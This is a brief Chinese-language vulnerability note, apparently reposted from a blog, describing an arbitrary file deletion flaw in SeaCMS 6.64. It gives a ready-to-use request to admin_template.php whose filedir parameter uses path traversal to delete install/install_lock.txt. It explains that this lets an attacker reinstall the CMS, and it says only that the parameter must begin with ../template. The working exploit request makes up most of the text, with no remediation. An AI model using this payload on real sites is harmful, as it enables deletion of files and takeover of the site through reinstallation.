seacms 任意文件删除
http://172.16.173.242/seacms6.64/upload/admin/admin_template.php?action=del&filedir=../templets/../install/install_lock.txt
可以控制filedir参数进行任意文件删除
删除 install/install_lock.txt文件,然后可以重装seacms

分析代码:
filedir参数必须以../template开头

seacms 任意文件删除
原文:http://blog.51cto.com/13770310/2177226